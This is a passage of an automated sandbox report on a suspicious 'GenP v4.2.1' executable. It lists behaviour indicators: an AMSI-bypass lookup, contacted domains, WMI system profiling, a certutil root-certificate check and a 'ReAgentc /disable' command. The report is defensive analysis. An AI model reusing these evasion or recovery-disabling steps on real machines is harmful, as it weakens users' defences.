\"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$33","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00006656)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"Genpv4.2.1.exe\" called \"CreateDirectoryW\" with parameter %ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\c43862135138 (UID: 00000000-00006860)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$34","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"OSPPSVC.EXE\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00005880)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134358800403991181.6656.DefaultAppDomain.powershell\" - (UID: 00000000-00006656)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Can load assembly that contains the code that is currently executing (Dotnet)","description":"Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-615","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"sa1atik.cn\"\n \"gitlab.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"1.1.1.1:443\"\n \"104.16.249.249:443\"\n \"185.103.164.74:443\"\n \"151.101.66.132:443\"\n \"172.65.251.78:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"Select Name from Win32_VideoController\" (Source: 00000000-00001656-00002714-3013981347, Indicator: \"select name from win32_videocontroller\")\n \"select Name from Win32_Processor\" (Source: 00000000-00001656-00002714-3014626719, Indicator: \"select name from win32_processor\")\n \"select * from Win32_OperatingSystem\" (Source: 00000000-00001656-00002714-3015131758, Indicator: \"select * from win32_operatingsystem\")\n \"select TotalPhysicalMemory from Win32_ComputerSystem\" (Source: 00000000-00001656-00002714-3015594180, Indicator: \"select totalphysicalmemory from win32_computersystem\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"CreateProcessAsUserW\" (Indicator: \"CreateProcess\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"CreateProcessWithLogonW\" (Indicator: \"CreateProcess\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"IcmpCreateFile\" (Indicator: \"CreateFile\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp, 00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$36","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"set_UseShellExecute\" (Indicator: \"ShellExecute\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"ShellExecuteW\" (Indicator: \"ShellExecute\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \"%WINDIR%\\system32\\cmd.exe /c certutil -store Root mitmproxy >nul 2>&1\" (Indicator: \"\\system32\\cmd.exe /c \"; Source: \"00000000-00007688-00000C47-33495623540\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c certutil -store Root mitmproxy >nul 2>&1\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00007688-00000C47-33495623540\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"Found reference to API \"LoadUserProfileW\" (Indicator: \"LoadUserProfile\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"LogonUserW\" (Indicator: \"LogonUser\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains ability to register hotkeys (API string)","description":"Found reference to API \"RegisterHotKey\" (Indicator: \"RegisterHotKey\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1547.009","relevance":1,"id":"string-545","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$38","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$39","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"__PSScriptPolicyTest_g1ysq5aj.x5f.ps1\" as clean (type is \"ASCII text with no line terminators\")\n Antivirus vendors marked dropped file \"__PSScriptPolicyTest_jijndlqk.guu.ps1\" as clean (type is \"ASCII text with no line terminators\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$3a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"Genp v4.2.1.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"svchost.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"putin@kremlin.ru\"\n Pattern match: \"chambersroot@chambersign.org\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"Found string \"User-Agent: Go-http-client/1.1\" (Indicator: \"user-agent: \"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134358800403991181.6656.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$3b","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"certutil.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 18950000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3c","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"Genpv4.2.1.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at E1F50000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\8d55d7cad944a3f21aeb1db491f3d6de\\mscorlib.ni.dll\" at 72790000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"svchost.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 74430000\n \"OSPPSVC.EXE\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 744D0000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 744D0000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"Genpv4.2.1.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 166F0000\n \"GenP-v4.2.1.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 166F0000\n \"GenP-v4.2.1.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 15950000\n \"svchost.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76600000\n \"svchost.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 74720000\n \"certutil.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 15950000\n \"certutil.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 166F0000\n \"OSPPSVC.EXE\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76600000\n \"OSPPSVC.EXE\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 744F0000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76600000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 744F0000\n \"ReAgentc.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 744F0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"Genpv4.2.1.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at E3510000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 73C60000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"Genpv4.2.1.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 172E0000\n \"GenP-v4.2.1.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 172E0000\n \"svchost.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 759D0000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 172E0000\n \"certutil.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 172E0000\n \"OSPPSVC.EXE\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 759D0000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 759D0000\n \"ReAgentc.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 759D0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"GenP-v4.2.1.exe\" called \"Scripting.Dictionary.CreateObject\" ... \n \"GenP-v4.2.1.exe\" called \"Scripting.Dictionary.Item\" ... \n \"GenP-v4.2.1.exe\" called \"Scripting.Dictionary.Item\" with result: \"-1\" ...\n \"GenP-v4.2.1.exe\" called \"Scripting.Dictionary.Item\" with result: \"0\" ...","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000020424516fb7f0000@ntdll.dll\"\n \"220023000000000040424516fb7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"Genp v4.2.1.exe\" was detected as \".NET\" and name: \"Library\"\n \"Genp v4.2.1.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"svchost.exe\" was detected as \".NET\" and name: \"Library\"\n \"svchost.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$3e","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$3f","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"GenP-v4.2.1.exe\" (UID: 00000000-00007688) was launched with new environment variables: \"USERDNSDOMAIN=\"qBIPOGSABevbo9x\"\"\n Process \"GenP-v4.2.1.exe\" (UID: 00000000-00007688) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"\n Process \"certutil.exe\" (UID: 00000000-00005304) was launched with new environment variables: \"PROMPT=\"$P$G\"\"\n Process \"OSPPSVC.EXE\" (UID: 00000000-00005880) was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"OSPPSVC.EXE\" (UID: 00000000-00005880) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"OSPPSVC.EXE\" (UID: 00000000-00005880) was launched with missing environment variables: \"PROMPT\"\n Process \"ReAgentc.exe\" (UID: 00000000-00002072) was launched with modified environment variables: \"PSModulePath, PATHEXT\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"cloudflare-dns.com\"\n \"gitlab.com\"\n \"sa1atik.cn\"\n \"ton.access.orbs.network\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$40","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Sets a windows hook","description":"\"GenP-v4.2.1.exe\" sets a windows hook with filter \"WH_CBT\" for thread ID 3580","origin":"API Call","mitre_attack_id":"T1056.004","relevance":10,"id":"api-71","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"GenP-v4.2.1.exe\" (UID: 00000000-00007688)\n Spawned process \"svchost.exe\" (UID: 00000000-00001656)\n Spawned process \"cmd.exe\" with commandline \"/c certutil -store Root mitmproxy >nul 2>&1\" (UID: 00000000-00000788)\n Spawned process \"certutil.exe\" with commandline \"certutil -store Root mitmproxy\" (UID: 00000000-00005304)\n Spawned process \"OSPPSVC.EXE\" (UID: 00000000-00005880)\n Spawned process \"powershell.exe\" (UID: 00000000-00006656)\n Spawned process \"OSPPSVC.EXE\" with commandline \"-\" (UID: 00000000-00005740)\n Spawned process \"OSPPSVC.EXE\" with commandline \"-\" (UID: 00000000-00007652)\n Spawned process \"ReAgentc.exe\" with commandline \"/disable\" (UID: 00000000-00002072)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"GenP-v4.2.1.exe\" (UID: 00000000-00007688)\n Spawned process \"svchost.exe\" (UID: 00000000-00001656)\n Spawned process \"cmd.exe\" with commandline \"/c certutil -store Root mitmproxy >nul 2>&1\" (UID: 00000000-00000788)\n Spawned process \"certutil.exe\" with commandline \"certutil -store Root mitmproxy\" (UID: 00000000-00005304)\n Spawned process \"OSPPSVC.EXE\" (UID: 00000000-00005880)\n Spawned process \"powershell.exe\" (UID: 00000000-00006656)\n Spawned process \"OSPPSVC.EXE\" with commandline \"-\" (UID: 00000000-00005740)\n Spawned process \"OSPPSVC.EXE\" with commandline \"-\" (UID: 00000000-00007652)\n Spawned process \"ReAgentc.exe\" with commandline \"/disable\" (UID: 00000000-00002072)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$42","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"Genp v4.2.1.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"svchost.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n 